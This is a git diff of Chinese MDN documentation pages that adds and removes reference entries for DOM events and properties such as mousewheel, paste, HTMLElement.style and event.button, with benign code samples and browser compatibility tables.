+
+ +

属性

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}Event target losing focus.
type {{readonlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Whether the event normally bubbles or not.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Whether the event is cancellable or not.
relatedTarget {{readonlyInline}}{{domxref("EventTarget")}} (DOM element)Event target receiving focus.
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(52)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile(52)}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}
+
+ +

相关事件

+ +
    +
  • {{event("focus")}}
  • +
  • {{event("blur")}}
  • +
  • {{event("focusin")}}
  • +
  • {{event("focusout")}}
  • +
diff --git a/files/zh-cn/web/api/element/mousewheel_event/index.html b/files/zh-cn/web/api/element/mousewheel_event/index.html new file mode 100644 index 0000000000..599f17edbb --- /dev/null +++ b/files/zh-cn/web/api/element/mousewheel_event/index.html @@ -0,0 +1,181 @@ +--- +title: mousewheel +slug: Web/Events/mousewheel +translation_of: Web/API/Element/mousewheel_event +--- +

{{ Non-standard_header() }}

+ +

The mousewheel event is fired asynchronously when a mouse wheel or similar device is operated. It's represented by the {{ domxref("MouseWheelEvent") }} interface.

+ +
+

Do not use this wheel event.

+ +

This interface is non-standard and deprecated. It was used in non-Gecko browsers only. Instead use the standard {{event("wheel")}} event.

+
+ +
    +
  • Interface :{{ domxref('MouseWheelEvent') }}
  • +
  • Synchronicity :asynchronous
  • +
  • Bubbles : yes (Though, MSDN documents "No")
  • +
  • Target : {{ domxref("Element") }}, {{ domxref("Document") }}, {{ domxref("Window") }}
  • +
  • Cancelable : yes (Though, MSDN documents "No")
  • +
  • Default action : Scroll, moving history, or zooming in/out
  • +
+ +

Specification

+ +

The document in MSDN: {{ spec("http://msdn.microsoft.com/en-us/library/ie/ms536951%28v=vs.85%29.aspx","onmousewheel event") }}

+ +

Browser compatibility

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatChrome("1.0") }}{{CompatVersionUnknown}}{{ CompatNo() }}{{ CompatIE("6.0") }}{{ CompatOpera("10.00") }}{{ CompatSafari("3.0") }}
wheelDeltaX{{ CompatChrome("1.0") }}{{CompatVersionUnknown}}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatSafari("3.0") }}
wheelDeltaY{{ CompatChrome("1.0") }}{{CompatVersionUnknown}}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatSafari("3.0") }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{CompatVersionUnknown}}{{ CompatNo() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
wheelDeltaX{{ CompatUnknown() }}{{CompatVersionUnknown}}{{ CompatNo() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
wheelDeltaY{{ CompatUnknown() }}{{CompatVersionUnknown}}{{ CompatNo() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

detail value

+ +

The detail attribute value is always 0 except Opera (Presto).

+ +

Opera (Presto) sets almost the same value as Firefox (Gecko)'s DOMMouseScroll event's detail value which indicates the scroll amount by line. Negative value indicates to scroll to bottom or right. Positive value indicates to scroll to top or left.

+ +

On Mac, the value is computed from accelerated scroll amount.

+ +

On Linux, 2 or -2 is set per native wheel event.

+ +

wheelDelta, wheelDeltaX and wheelDeltaY value

+ +

The wheelDelta attribute value is an abstract value which indicates how far the wheel turned. If the wheel has rotated away from the user, it's positive, otherwise negative. This means that the delta value sign is different from DOM Level 3 Event's wheel. However, the meaning of the amount of these values is not the same between browsers. See following explanation for the detail.

+ +

IE and Opera (Presto) only support wheelDelta attribute and do not support horizontal scroll.

+ +

The wheelDeltaX attribute value indicates the wheelDelta attribute value along the horizontal axis. When a user operates the device for scrolling to right, the value is negative. Otherwise, i.e., if it's to left, the value is positive.

+ +

The wheelDeltaY attribute value indicates the wheelDelta attribute value along the vertical axis. The sign of the value is the same as the wheelDelta attribute value.

+ +

IE

+ +

The value is the same as the delta value of WM_MOUSEWHEEL or WM_MOUSEHWHEEL. It means that if the mouse wheel doesn't support high resolution scroll, the value is 120 per notch. The value isn't changed even if the scroll amount of system settings is page scroll.

+ +

Chrome

+ +

On Windows, the value is the same as the delta value of WM_MOUSEWHEEL or WM_MOUSEHWHEEL. And also, the value isn't changed even if the scroll amount of system settings is page scroll, i.e., the value is the same as IE on Windows.

+ +

On Linux, the value is 120 or -120 per native wheel event. This makes the same behavior as IE and Chrome for Windows.

+ +

On Mac, the value is complicated. The value is changed if the device that causes the native wheel event supports continuous scroll.

+ +

If the device supports continuous scroll (e.g., trackpad of MacBook or mouse wheel which can be turned smoothly), the value is computed from accelerated scroll amount. In this case, the value is the same as Safari.

+ +

If the device does not support continuous scroll (typically, old mouse wheel which cannot be turned smoothly), the value is computed from non-accelerated scroll amount (120 per notch). In this case, the value is different from Safari.

+ +

This difference makes a serious issue for web application developers. That is, web developers cannot know if mousewheel event is caused by which device.

+ +

See WebInputEventFactory::mouseWheelEvent of the Chromium's source code for the detail.

+ +

Safari

+ +

The value is always computed from accelerated scroll amount. This is really different from other browsers except Chrome with continuous scroll supported device.

+ +

Note: tested with the Windows package, the earliest available version was Safari 3.0 from 2007. It could be that earlier versions (on Mac) support the properties too.

+ +

Opera (Presto)

+ +

The value is always the detail attribute value ✕ 40.

+ +

On Windows, since the detail attribute value is computed from actual scroll amount, the value is different from other browsers except the scroll amount per notch is 3 lines in system settings or a page.

+ +

On Linux, the value is 80 or -80 per native wheel event. This is different from other browsers.

+ +

On Mac, the detail attribute value is computed from accelerated scroll amout of native event. The value is usually much bigger than Safari's or Chrome's value.

+ +

See also

+ +
    +
  • {{ domxref("MouseWheelEvent") }}
  • +
  • Gecko's legacy mouse wheel events: DOMMouseScroll, MozMousePixelScroll
  • +
  • Standardized wheel event: wheel
  • +
diff --git a/files/zh-cn/web/api/element/name/index.html b/files/zh-cn/web/api/element/name/index.html deleted file mode 100644 index f1a247fd70..0000000000 --- a/files/zh-cn/web/api/element/name/index.html +++ /dev/null @@ -1,71 +0,0 @@ ---- -title: Element.name -slug: Web/API/Element/name -translation_of: Web/API -translation_of_original: Web/API/Element/name ---- -

{{ APIRef() }}

- -

概述

- -

name 获取或设置一个 DOM 对象的 name 属性;它只能应用于下列元素:{{ HTMLelement("a") }}, {{ HTMLelement("applet") }}, {{ HTMLelement("button") }}, {{ HTMLelement("form") }}, {{ HTMLelement("frame") }}, {{ HTMLelement("iframe") }}, {{ HTMLelement("img") }}, {{ HTMLelement("input") }}, {{ HTMLelement("map") }}, {{ HTMLelement("meta") }}, {{ HTMLelement("object") }}, {{ HTMLelement("param") }}, {{ HTMLelement("select") }}, and {{ HTMLelement("textarea") }}.

- -
-

需要注意的是,name 属性在其他类型元素上不存在。它不是 {{domxref("Element")}} 或 {{domxref("HTMLElement")}} 接口的一个属性。

-
- -

Name 可被使用于 {{ domxref("document.getElementsByName()") }} 方法,form 以及 the form elements collection。当使用于表单(form)或表单元素(form elements collection)时,可能返回一个单独的元素或一个元素集合。

- -

语法

- -
HTMLElement.name = string;
-var elName = HTMLElement.name;
-
-var fControl = HTMLFormElement.elementName;
-var controlCollection = HTMLFormElement.elements.elementName;
-
- -

例子

- -
<form action="" name="formA">
-  <input type="text" value="foo">
-</form>
-
-<script type="text/javascript">
-
-  // 获取表单中第一个元素的引用
-  var formElement = document.forms['formA'].elements[0];
-
-  // 设置一个 name
-  formElement.name = 'inputA';
-
-  // 显示 input 的 value 值
-  alert(document.forms['formA'].elements['inputA'].value);
-
-</script>
-
- -

备注

- -

在 IE6 中,使用 {{domxref("document.createElement()")}} 方法创建的 DOM 对象的 name 属性不能被更改。

- -

规范

- -

W3C DOM 2 HTML Specification:

- - diff --git a/files/zh-cn/web/api/element/onafterscriptexecute/index.html b/files/zh-cn/web/api/element/onafterscriptexecute/index.html deleted file mode 100644 index f1e976522e..0000000000 --- a/files/zh-cn/web/api/element/onafterscriptexecute/index.html +++ /dev/null @@ -1,44 +0,0 @@ ---- -title: element.onafterscriptexecute -slug: Web/API/Element/onafterscriptexecute -tags: - - DOM - - onafterscriptexecute -translation_of: Web/API/Document/onafterscriptexecute ---- -
{{ApiRef}}{{gecko_minversion_header("2")}}
- -

概述

- -

当HTML文档中的{{HTMLElement("script")}}标签内的代码执行完毕时触发该事件,如果这个script标签是用appendChild()等方法动态添加上去的,则不会触发该事件.

- -

语法

- -
document.onafterscriptexecute = funcRef;
-
- -

afterscriptexecute事件触发时,funcRef函数就会被调用. 传入参数eventtarget属性指向触发该事件的那个script元素.

- -

例子

- -
function finished(e) {
-  logMessage("Finished script with ID: " + e.target.id);
-}
-
-document.addEventListener("afterscriptexecute", finished, true);
-
- -

查看在线演示

- -

规范

- - - -

相关链接

- -
    -
  • {{domxref("element.onbeforescriptexecute")}}
  • -
  • {{domxref("document.currentScript")}}
  • -
diff --git a/files/zh-cn/web/api/element/ongotpointercapture/index.html b/files/zh-cn/web/api/element/ongotpointercapture/index.html deleted file mode 100644 index 2ff983926f..0000000000 --- a/files/zh-cn/web/api/element/ongotpointercapture/index.html +++ /dev/null @@ -1,143 +0,0 @@ ---- -title: Element.ongotpointercapture -slug: Web/API/Element/ongotpointercapture -tags: - - API - - DOM - - Element - - Event Handler - - Pointer Events - - Property - - Reference - - 事件句柄 - - 元素 - - 属性 - - 引用 - - 指针事件 -translation_of: Web/API/GlobalEventHandlers/ongotpointercapture -translation_of_original: Web/API/Element/ongotpointercapture ---- -

{{ ApiRef("DOM") }}

- -

ongotpointercapture 是一个{{domxref("Element")}} 接口的{{domxref("EventHandler")}} 属性,返回一个{{event("gotpointercapture")}} 事件类型的事件句柄 (function) .

- -

语法

- -
var gotCaptureHandler = target.ongotpointercapture;
-
- -

Return value

- -
-
gotCaptureHandler
-
元素 target 的gotpointercapture 事件句柄。 .
-
- -

Example

- -
<html>
-<script>
-function overHandler(ev) {
- // Determine the target event's gotpointercapture handler
- var gotCaptureHandler = ev.target.ongotpointercapture;
-}
-function init() {
- var el=document.getElementById("target");
- el.onpointerover = overHandler;
-}
-</script>
-<body onload="init();">
-<div id="target"> Touch me ... </div>
-</body>
-</html>
-
- -

Specifications

- - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Pointer Events 2','#widl-Element-ongotpointercapture', 'ongotpointercapture')}}{{Spec2('Pointer Events 2')}}无稳定版
{{SpecName('Pointer Events', '#widl-Element-ongotpointercapture', 'ongotpointercapture')}}{{Spec2('Pointer Events')}}Initial definition.
- -

Browser compatibility

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatNo}}{{CompatVersionUnknown}}{{CompatVersionUnknown}} [1]{{CompatIE("10")}}{{CompatNo}}{{CompatNo}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}{{CompatIE("10")}}{{CompatNo}}{{CompatNo}}
-
- -

[1] Implementation withdrawn. See {{Bug("1166347")}}.

- -

See also

- -
    -
  • {{ event("gotpointercapture") }}
  • -
diff --git a/files/zh-cn/web/api/element/paste_event/index.html b/files/zh-cn/web/api/element/paste_event/index.html new file mode 100644 index 0000000000..1fb088eddf --- /dev/null +++ b/files/zh-cn/web/api/element/paste_event/index.html @@ -0,0 +1,103 @@ +--- +title: 'Element: paste事件' +slug: Web/Events/paste +tags: + - Clipboard API + - Event + - Reference +translation_of: Web/API/Element/paste_event +--- +

 {{APIRef}}

+ +

当用户在浏览器用户界面发起“粘贴”操作时,会触发paste事件。

+ +
冒泡                 是
+
+可取消               是
+
+接口                 {{domxref("ClipboardEvent")}}
+
+事件处理属性          {{domxref("HTMLElement/onpaste", "onpaste")}}
+
+ +

如果光标位于可编辑的上下文中(例如,在 {{HTMLElement("textarea")}} 或者 contenteditable 属性设置为 true的元素),则默认操作是将剪贴板的内容插入光标所在位置的文档中。

+ +

事件处理程序可以通过调用事件的 clipboardData 属性上的 {{domxref("DataTransfer/getData", "getData()")}}访问剪贴板内容。

+ +

要覆盖默认行为(例如,插入一些不同的数据或转换剪贴板的内容),事件处理程序必须使用 {{domxref("Event/preventDefault", "event.preventDefault()")}},取消默认操作,然后手动插入想要的数据。

+ +

可以构造和分派合成的paste事件,但这不会影响文档内容。

+ +

举例

+ +

Live example

+ +

HTML

+ +
<div class="source" contenteditable="true">Try copying text from this box...</div>
+<div class="target" contenteditable="true">...and pasting it into this one</div>
+ +

CSS

+ +
div.source, div.target {
+    border: 1px solid gray;
+    margin: .5rem;
+    padding: .5rem;
+    height: 1rem;
+    background-color: #e9eef1;
+}
+
+ +

JS

+ +
const target = document.querySelector('div.target');
+
+target.addEventListener('paste', (event) => {
+    let paste = (event.clipboardData || window.clipboardData).getData('text');
+    paste = paste.toUpperCase();
+
+    const selection = window.getSelection();
+    if (!selection.rangeCount) return false;
+    selection.deleteFromDocument();
+    selection.getRangeAt(0).insertNode(document.createTextNode(paste));
+
+    event.preventDefault();
+});
+
+ +

Result

+ +

 {{EmbedLiveSample('Live_example', '100%', '100px')}}

+ +

规范

+ + + + + + + + + + + + + + +
规范状态
{{SpecName('Clipboard API', '#clipboard-event-paste')}}{{Spec2('Clipboard API')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.Element.paste_event")}}

+ +

另见

+ +
    +
  • Related events: {{domxref("Element/cut_event", "cut")}}, {{domxref("Element/copy_event", "copy")}}
  • +
  • This event on {{domxref("Document")}} targets: {{domxref("Document/paste_event", "paste")}}
  • +
  • This event on {{domxref("Window")}} targets: {{domxref("Window/paste_event", "paste")}}
  • +
diff --git a/files/zh-cn/web/api/elementcssinlinestyle/style/index.html b/files/zh-cn/web/api/elementcssinlinestyle/style/index.html new file mode 100644 index 0000000000..2b825c80cc --- /dev/null +++ b/files/zh-cn/web/api/elementcssinlinestyle/style/index.html @@ -0,0 +1,80 @@ +--- +title: HTMLElement.style +slug: Web/API/HTMLElement/style +translation_of: Web/API/ElementCSSInlineStyle/style +--- +
{{ APIRef("HTML DOM") }}
+ +

HTMLElement.style 属性返回一个 CSSStyleDeclaration 对象,表示元素的 内联style 属性(attribute),但忽略任何样式表应用的属性。 通过 style 可以访问的 CSS 属性列表,可以查看 CSS Properties Reference

+ +

由于 style 属性的优先级和通过style设置内联样式是一样的,并且在css层级样式中拥有最高优先级,因此在为特定的元素设置样式时很有用。

+ +

设置 style 属性

+ +

注意不能通过直接给style属性设置字符串(如:elt.style = "color: blue;")来设置style,因为style应被当成是只读的(尽管Firefox(Gecko), Chrome 和 Opera允许修改它),这是因为通过style属性返回的CSSStyleDeclaration对象是只读的。但是style属性本身的属性够用来设置样式。此外,通过单独的样式属性(如elt.style.color = '...')比用elt.style.cssText = '...' 或者 elt.setAttribute('style', '...')形式更加简便,除非你希望完全通过一个单独语句来设置元素的全部样式,因为通过style本身属性设置的样式不会影响到通过其他方式设置的其他css属性的样式。

+ +

例子

+ +
// 在单个语句中设置多个样式
+elt.style.cssText = "color: blue; border: 1px solid black";
+// 或者
+elt.setAttribute("style", "color:red; border: 1px solid blue;");
+
+// 设置特定样式,同时保持其他内联样式值不变
+elt.style.color = "blue";
+
+ +

获取元素样式信息

+ +

通常,要了解元素样式的信息,仅仅使用 style 属性是不够的,这是因为它只包含了在元素内嵌 style 属性(attribute)上声明的的 CSS 属性,而不包括来自其他地方声明的样式,如 {{HTMLElement("head")}} 部分的内嵌样式表,或外部样式表。要获取一个元素的所有 CSS 属性,你应该使用 {{domxref("window.getComputedStyle()")}}。

+ +
<!DOCTYPE HTML>
+<html>
+<body style="font-weight:bold;">
+
+    <div style="color:red" id="myElement">..</div>
+
+ </body>
+</html>
+ +

下面的代码输出 style 所有属性的名字,以及为元素 elt 显式设置的属性值和继承的计算值(computed value):

+ +
var element = document.getElementById("myElement");
+var out = "";
+var elementStyle = element.style;
+var computedStyle = window.getComputedStyle(element, null);
+
+for (prop in elementStyle) {
+  if (elementStyle.hasOwnProperty(prop)) {
+    out += "  " + prop + " = '" + elementStyle[prop] + "' > '" + computedStyle[prop] + "'\n";
+  }
+}
+console.log(out)
+ +

输出结果如下:

+ +
...
+fontWeight = '' > 'bold'
+color = 'red' > 'rgb(255, 0, 0)'
+...
+
+ +

请注意,计算样式中font-weight的值为“bold”,元素的style属性中缺少该值

+ +

规范

+ +

DOM Level 2 Style: ElementCSSInlineStyle.style

+ +

CSSOM: ElementCSSInlineStyle

+ +

兼容性

+ + + +

{{Compat("api.HTMLElement.style")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/entity/index.html b/files/zh-cn/web/api/entity/index.html deleted file mode 100644 index 2e05365217..0000000000 --- a/files/zh-cn/web/api/entity/index.html +++ /dev/null @@ -1,52 +0,0 @@ ---- -title: Entity -slug: Web/API/Entity -translation_of: Web/API/Entity ---- -

{{APIRef("DOM")}} {{draft}} {{obsolete_header}}

- -

对DTD实体的只读引用. 也继承 {{domxref("Node")}} 的方法和属性。

- -

属性

- -
-
{{domxref("Entity.publicId")}} {{ReadOnlyInline}}
-
Is a {{domxref("DOMString")}}.
-
{{domxref("Entity.systemId")}} {{ReadOnlyInline}}
-
Is a {{domxref("DOMString")}}.
-
{{domxref("Entity.notationName")}}{{ReadOnlyInline}}
-
Is a {{domxref("DOMString")}}.
-
{{domxref("Entity.inputEncoding")}}{{ReadOnlyInline}}
-
Is a {{domxref("DOMString")}}.
-
{{domxref("Entity.xmlEncoding")}}{{ReadOnlyInline}}
-
Is a {{domxref("DOMString")}}.
-
{{domxref("Entity.xmlVersion")}}{{ReadOnlyInline}}
-
Is a {{domxref("DOMString")}}.
-
- -

规范

- - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName("DOM3 Core", "core.html#ID-527DCFF2", "Entity")}}{{Spec2("DOM3 Core")}}inputEncoding, xmlEncoding, and xmlVersion were added
{{SpecName("DOM2 Core", "core.html#ID-527DCFF2", "Entity")}}{{Spec2("DOM2 Core")}}No change
{{SpecName('DOM1', 'level-one-core.html#ID-527DCFF2', 'Entity')}}{{Spec2('DOM1')}}Initial definition
diff --git a/files/zh-cn/web/api/event.altkey/index.html b/files/zh-cn/web/api/event.altkey/index.html deleted file mode 100644 index fb69717e99..0000000000 --- a/files/zh-cn/web/api/event.altkey/index.html +++ /dev/null @@ -1,44 +0,0 @@ ---- -title: event.altKey -slug: Web/API/event.altKey -translation_of: Web/API/MouseEvent/altKey -translation_of_original: Web/API/event.altKey ---- -

{{ ApiRef() }}

-

概述

-

表明当事件触发时,ALT键是否处于按下的状态.

-

语法

-
event.altKey
-
-

例子

-
var bool = event.altKey;
-
-

如果当事件触发时,ALT键处于按下的状态,则bool的值为true,否则为false.

-
<html>
-<head>
-<title>altKey 示例</title>
-
-<script type="text/javascript">
-
-function showChar(e){
-  alert(
-    "按下的键: " + String.fromCharCode(e.charCode) + "\n"
-    + "charCode: " + e.charCode + "\n"
-    + "是否按下ALT键: " + e.altKey + "\n"
-  );
-}
-
-</script>
-</head>
-
-<body onkeypress="showChar(event);">
-<p>
-按下一个字符键,尝试同时按下ALT键.<br />
-你也可以同时按下SHIFT键和ALT键.
-</p>
-</body>
-</html>
-
-

规范

-

DOM Level 2 Events - property of MouseEvent object

-

{{ languages( { "ja": "ja/DOM/event.altKey", "pl": "pl/DOM/event.altKey", "en": "en/DOM/event.altKey" } ) }}

diff --git a/files/zh-cn/web/api/event.button/index.html b/files/zh-cn/web/api/event.button/index.html deleted file mode 100644 index c75916a287..0000000000 --- a/files/zh-cn/web/api/event.button/index.html +++ /dev/null @@ -1,82 +0,0 @@ ---- -title: event.button -slug: Web/API/event.button -translation_of: Web/API/MouseEvent/button -translation_of_original: Web/API/event.button ---- -

{{ ApiRef() }}

-

概述

-

表明当前事件是由鼠标的哪个按键触发的.

-

语法

-
event.button
-
-

例子

-
var buttonCode = event.button;
-
-

该属性返回一个整数值,代表触发当前事件的鼠标按键.在通常情况下,对应关系如下:

-
    -
  • 0 为 左键点击.
  • -
  • 1 为 中键点击.
  • -
  • 2 为 右键点击.
  • -
-
- 注意: IE不遵守 See QuirksMode for details.
-

The order of buttons may be different depending on how the pointing device has been configured.

-

例子

-
<script>
-var whichButton = function (e) {
-    // 处理不同的事件模型
-    var e = e || window.event;
-    var btnCode;
-
-    if ('object' === typeof e) {
-        btnCode = e.button;
-
-        switch (btnCode) {
-            case 0:
-                alert('你按了左键.');
-            break;
-            case 1:
-                alert('你按了中键.');
-            break;
-            case 2:
-                alert('你按了右键.');
-            break;
-            default:
-                alert('未知按键: ' + btnCode);
-        }
-    }
-}
-</script>
-
-<button onmouseup="whichButton(event);" oncontextmenu="event.preventDefault();">请点击鼠标...</button>
-
-

备注

-

Because mouse clicks are frequently intercepted by the user interface, it may be difficult to detect buttons other than those for a standard mouse click (usually the left button) in some circumstances.

-

Users may change the configuration of buttons on their pointing device so that if an event's button property is zero, it may not have been caused by the button that is physically left–most on the pointing device; however, it should behave as if the left button was clicked in the standard button layout.

-

规范

-

DOM 2 Events Specification: button

-

浏览器兼容性

-

Based on Jan Wolter's JavaScript Madness: Mouse Events.

-

{{ CompatibilityTable() }}

-
- - - - - - - - - - - - - - - - - -
FeatureGeckoWebkitInternet ExplorerOpera
Basic support152398
-
-

{{ languages( { "ja": "ja/DOM/event.button", "pl": "pl/DOM/event.button" ,"en": "en/DOM/event.button" } ) }}

diff --git a/files/zh-cn/web/api/event.relatedtarget/index.html b/files/zh-cn/web/api/event.relatedtarget/index.html deleted file mode 100644 index a334f4b2eb..0000000000 --- a/files/zh-cn/web/api/event.relatedtarget/index.html +++ /dev/null @@ -1,124 +0,0 @@ ---- -title: event.relatedTarget -slug: Web/API/event.relatedTarget -translation_of: Web/API/MouseEvent/relatedTarget -translation_of_original: Web/API/event.relatedTarget ---- -

 

- -

{{APIRef("DOM")}}

- -

简要

- -

为事件标识第二目标

- -

描述

- -

relatedTarget 属性用于在一个事件中查找另外一个元素。有些事件比如 mouseover 通常侧重处理一个特定的目标,而有些有也可能会涉及到第二目标,比如当目标退出第一目标的 mouseover 事件.

- -

事件

- -

只有 MouseEvents 有这个属性,而且这些些只在特定的 MouseEvents 事件中有效:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
事件名relatedTarget role
focusin哪个 {{domxref("EventTarget")}} 失去焦点
focusout哪个 {{domxref("EventTarget")}} 获得焦点
mouseenter鼠标从哪个 {{domxref("EventTarget")}} 进来
mouseleave鼠标移到哪个{{domxref("EventTarget")}} 去
mouseout鼠标移到哪个{{domxref("EventTarget")}} 去
mouseover鼠标从哪个{{domxref("EventTarget")}} 进来
dragenter鼠标从哪个{{domxref("EventTarget")}} 进来
dragexit鼠标移到哪个{{domxref("EventTarget")}} 去
- -

示例

- -
<!DOCTYPE html>
-<html>
-<head>
-
-<style>
-div > div {
-  height: 128px;
-  width: 128px;
-}
-#top    { background-color: red; }
-#bottom { background-color: blue; }
-</style>
-
-<script>
-function outListener(event) {
-  console.log("exited " + event.target.id + " for " + event.relatedTarget.id);
-}
-
-function overListener(event) {
-  console.log("entered " + event.target.id + " from " + event.relatedTarget.id);
-}
-
-function loadListener() {
-  var top = document.getElementById("top"),
-      bottom = document.getElementById("bottom");
-
-  top.addEventListener("mouseover", overListener);
-  top.addEventListener("mouseout", outListener);
-  bottom.addEventListener("mouseover", overListener);
-  bottom.addEventListener("mouseout", outListener);
-}
-</script>
-
-</head>
-
-<body onload="loadListener();">
-
-<div id="outer">
-  <div id="top"></div>
-  <div id="bottom"></div>
-</div>
-
-</body>
-</html>
-
- -

在JSFiddle中查看

- -

Specification

- - - -

See also

- - diff --git a/files/zh-cn/web/api/event.shiftkey/index.html b/files/zh-cn/web/api/event.shiftkey/index.html deleted file mode 100644 index e01246caca..0000000000 --- a/files/zh-cn/web/api/event.shiftkey/index.html +++ /dev/null @@ -1,41 +0,0 @@ ---- -title: event.shiftKey -slug: Web/API/event.shiftKey -translation_of: Web/API/MouseEvent/shiftKey -translation_of_original: Web/API/event.shiftKey ---- -

{{ ApiRef() }}

-

概述

-

表明当事件触发时,SHIFT键是否处于按下状态.

-

语法

-
var bool = event.shiftKey;
-
-

bool 的值为 truefalse

-

例子

-
<html>
-<head>
-<title>shiftKey example</title>
-
-<script type="text/javascript">
-
-function showChar(e){
-  alert(
-    "Key Pressed: " + String.fromCharCode(e.charCode) + "\n"
-    + "charCode: " + e.charCode + "\n"
-    + "SHIFT key pressed: " + e.shiftKey + "\n"
-    + "ALT key pressed: " + e.altKey + "\n"
-  );
-}
-
-</script>
-</head>
-
-<body onkeypress="showChar(event);">
-<p>按下一个字符键,尝试同时按下SHIFT键.<br />
-你也可以同时按下SHIFT键和ALT键.</p>
-</body>
-</html>
-
-

规范

-

shiftKey

-

{{ languages( { "pl": "pl/DOM/event.shiftKey" ,"en": "en/DOM/event.shiftKey" } ) }}

diff --git a/files/zh-cn/web/api/event/cancelbubble/index.html b/files/zh-cn/web/api/event/cancelbubble/index.html new file mode 100644 index 0000000000..c228d329d6 --- /dev/null +++ b/files/zh-cn/web/api/event/cancelbubble/index.html @@ -0,0 +1,93 @@ +--- +title: Event.cancelBubble +slug: Web/API/Event/禁用时间冒泡 +tags: + - 事件 +translation_of: Web/API/Event/cancelBubble +--- +

{{APIRef("DOM Events")}} 

+ +

Event.cancelBubble 属性是 {{domxref("Event.stopPropagation()")}}的一个曾用名。在从事件处理程序返回之前将其值设置为true可阻止事件的传播。

+ +

语法

+ +
event.cancelBubble = bool;
+let bool = event.cancelBubble;
+ +

用例

+ +
+
+
ele.onclick = function(e) {
+  // 在这儿可以做点儿有趣的事情
+  e.cancelBubble = true;
+}
+
+
+ +

规范

+ +

这个属性的规范并未统一. 因为他还有其他标准 W3C版: an old Working Draft of W3C DOM Level 2. 微软版: description of it on MSDN.

+ +

浏览器兼容

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureFirefox (Gecko)ChromeEdgeInternet ExplorerMicrosoft EdgeOperaSafari
Basic support{{ CompatNo() }}{{ CompatVersionUnknown() }}{{CompatVersionUnknown}}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureFirefox Mobile (Gecko)AndroidEdgeIE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{ CompatUnknown() }}{{CompatVersionUnknown}}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

参考

+ +
    +
  • {{domxref("UIEvent.cancelBubble")}}
  • +
  • translated by cnvoid
  • +
diff --git a/files/zh-cn/web/api/event/createevent/index.html b/files/zh-cn/web/api/event/createevent/index.html deleted file mode 100644 index 8b9c249c71..0000000000 --- a/files/zh-cn/web/api/event/createevent/index.html +++ /dev/null @@ -1,35 +0,0 @@ ---- -title: Event.createEvent() -slug: Web/API/Event/createEvent -tags: - - DOM - - Event - - JavaScript - - Method -translation_of: Web/API/Document/createEvent -translation_of_original: Web/API/Event/createEvent ---- -

{{APIRef("DOM")}}

- -

创建一个新的事件(Event),随之必须调用自身的 init 方法进行初始化。

- -

语法

- -
document.createEvent(type) 
- -
-
type
-
指明待创建事件对象的类型的字符串
-
- -

此方法返回一个新的特定类型的 DOM {{ domxref("Event") }} 对象,此对象在使用前必须经过初始化(init)。

- -

示例

- -
var newEvent = document.createEvent("UIEvents");
- -

规范

- - diff --git a/files/zh-cn/web/api/event/deeppath/index.html b/files/zh-cn/web/api/event/deeppath/index.html deleted file mode 100644 index 61bfdf1366..0000000000 --- a/files/zh-cn/web/api/event/deeppath/index.html +++ /dev/null @@ -1,90 +0,0 @@ ---- -title: Event.deepPath -slug: Web/API/Event/deepPath -translation_of: Web/API/Event/composedPath -translation_of_original: Web/API/Event/deepPath ---- -

{{SeeCompatTable}}{{APIRef("Shadow DOM")}}

- -

{{domxref("Event")}}的deepPath 属性返回事件冒泡过程所有经过的节点所构成的{{jsxref("Array")}}数组

- -

语法

- -
var nodes[] = Event.deepPath
- -

返回值

- -

一组节点 构成的{{jsxref("Array")}}数组

- -

规范

- - - - - - - - - - - - - - -
规格状态评语
{{SpecName('Shadow DOM','#widl-Event-deepPath-sequence-EventTarget','deepPath')}}{{Spec2('Shadow DOM')}}Initial definition.
- -
